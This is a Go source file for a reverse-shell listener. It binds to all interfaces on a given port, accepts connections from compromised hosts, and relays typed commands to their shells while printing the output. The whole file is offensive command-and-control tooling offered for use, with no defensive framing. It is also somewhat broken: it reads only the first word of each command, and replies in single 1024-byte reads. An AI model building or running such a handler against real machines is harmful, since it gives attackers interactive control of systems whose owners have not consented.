package listener import ( "fmt" "io" "net" "os" ) func handleConnection(conn net.Conn) { defer conn.Close() fmt.Println("Connection established. Interacting with reverse shell...") for { fmt.Print("shell > ") var cmd string fmt.Scanln(&cmd) // send the command to the reverse shell _, err := conn.Write([]byte(cmd + "\n")) if err != nil { fmt.Println("Error sending command:", err) return } // read the response from the reverse shell buf := make([]byte, 1024) n, err := conn.Read(buf) if err != nil && err != io.EOF { fmt.Println("Error reading from connection:", err) return } // print the reverse shell output fmt.Print(string(buf[:n])) } } func startListener(lhost, lport string) { listenAddress := fmt.Sprintf("%s:%s", lhost, lport) listener, err := net.Listen("tcp", listenAddress) if err != nil { fmt.Println("Error starting listener:", err) os.Exit(1) } defer listener.Close() fmt.Printf("Listening for reverse shell on %s:%s...\n", lhost, lport) // accept incoming connections and handle them for { conn, err := listener.Accept() if err != nil { fmt.Println("Error accepting connection:", err) continue } // handle the connection in a new goroutine go handleConnection(conn) } } func Listen(lport string) { // listen on everything, lazy lhost := "0.0.0.0" startListener(lhost, lport) }